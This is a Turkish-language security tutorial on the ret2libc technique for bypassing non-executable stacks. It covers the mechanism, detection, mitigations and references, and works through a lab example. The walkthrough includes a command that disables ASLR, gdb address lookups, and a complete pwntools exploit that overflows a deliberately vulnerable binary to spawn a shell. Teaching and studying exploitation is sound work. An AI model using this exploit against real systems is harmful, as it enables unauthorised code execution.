ret2libc (Return-into-libc)¶
Non-executable bir stack'i, return address'i var olan bir library fonksiyonunun (örn.
system) adresiyle overwrite edip argümanlarını sahteleyerek atlat — enjekte edilmiş shellcode gerekmez.
Mechanism¶
Neden çalışır
Data Execution Prevention / NX, stack'i non-executable işaretler,
böylece klasik "stack'e shellcode enjekte et ve ona atla" başarısız olur.
Ama NX, kontrolü zaten executable olan koda yönlendirmeni
engellemez — yani her process'te r-x map'lenen libc'ye.
Return-address overwrite'ı hâlâ çalışır; sadece onu kendi byte'larına
değil bir faydalı fonksiyona nişanlarsın.
Anahtar calling convention'dır. Bir stack overflow kaydedilmiş return
address'i ezdikten sonra, kontrol ettiğin stack callee'nin frame'i olur.
32-bit cdecl'de, ret system'e transfer ettiğinde stack tam olarak
normal bir call gibi görünür: [ &system ][ fake return addr ][ &"/bin/sh" ],
böylece system argümanını beklediği yerden okur. İstismar edilen
invariant: control flow artı forge edilmiş bir frame yeterlidir; kodun
bizim olması gerekmez. Bu şekilde birkaç library call'ı zincirlemek
(her ret bir sonrakine akar) ROP'a genelleşir.
Walkthrough¶
Yalnızca lab
Sahibi olduğun, bilerek vulnerable bir binary kullan. Adresleri sabit tutmak için ASLR kapalı 32-bit no-PIE örneği; ASLR'ı atlatmak ayrı bir adımdır (info leak).
1. Hedef. Bir stack overflow'u olan, NX açık bir program:
$ checksec --file=./vuln
Arch: i386-32-little
NX: NX enabled <- can't run stack shellcode
PIE: No PIE <- libc/binary base predictable
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # ASLR off (lab)
2. Yapı taşlarını bul — system ve bir "/bin/sh" string'i (libc'de bir tane var):
$ gdb -q ./vuln
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable>} 0xf7e10360 <system>
(gdb) find &system, +9999999, "/bin/sh"
0xf7f5a9cb
1 pattern found.
3. Kaydedilmiş return address'e olan overflow offset'ini bul:
4. Payload'u inşa et: padding | &system | fake_ret | &"/bin/sh".
from pwn import *
elf = ELF("./vuln")
libc = elf.libc # resolves the linked libc
system = libc.symbols["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
payload = b"A" * 112 # to saved return address
payload += p32(system) # ret -> system
payload += p32(0xdeadbeef) # system's "return address" (unused)
payload += p32(binsh) # system's arg: char *command
p = process("./vuln"); p.sendline(payload); p.interactive()
Beklenen sonuç:
$ python3 exploit.py
[+] Starting local process './vuln'
[*] Switching to interactive mode
$ id
uid=1000(user) ...
system("/bin/sh"), libc'nin kendi executable mapping'inden çalışır, dolayısıyla NX önemsizdir.
x86-64 farkı
SysV AMD64 ABI ilk argümanı stack'te değil rdi'de geçirir, dolayısıyla
saf bir ret2libc, system'e dönmeden önce &"/bin/sh"'i rdi'ye yüklemek
için bir pop rdi ; ret gadget'ına ihtiyaç duyar — yani küçük bir ROP
chain'ine dönüşür.
Detection¶
- libc içinde normal bir call site olmayan bir return target, bir stack pivot ya da libc string data'sına işaret eden argümanlar, CFI/stack-canary instrumentation'ı ve bazı EDR'ler için imzalardır.
Mitigation¶
- Stack canary'ler, lineer overwrite'ı
ret'ten önce tespit eder. - ASLR/PIE, libc base'ini rastgeleleştirir, dolayısıyla adresler önce leak edilmelidir.
- CFI / shadow stack'ler (Intel CET): bir shadow stack bozulmuş return address'i yakalar; forward-edge CFI non-entry noktalara yapılan call'ları reddeder.
- Genel soy, tekil call'lar yetmediğinde tam ROP'a devam eder.
References¶
- nergal. The advanced return-into-lib(c) exploits (PaX case study). Phrack 58:4 — https://phrack.org/issues/58/4.html
- Solar Designer. Getting around non-executable stack (and fix), Bugtraq 1997 — https://seclists.org/bugtraq/1997/Aug/63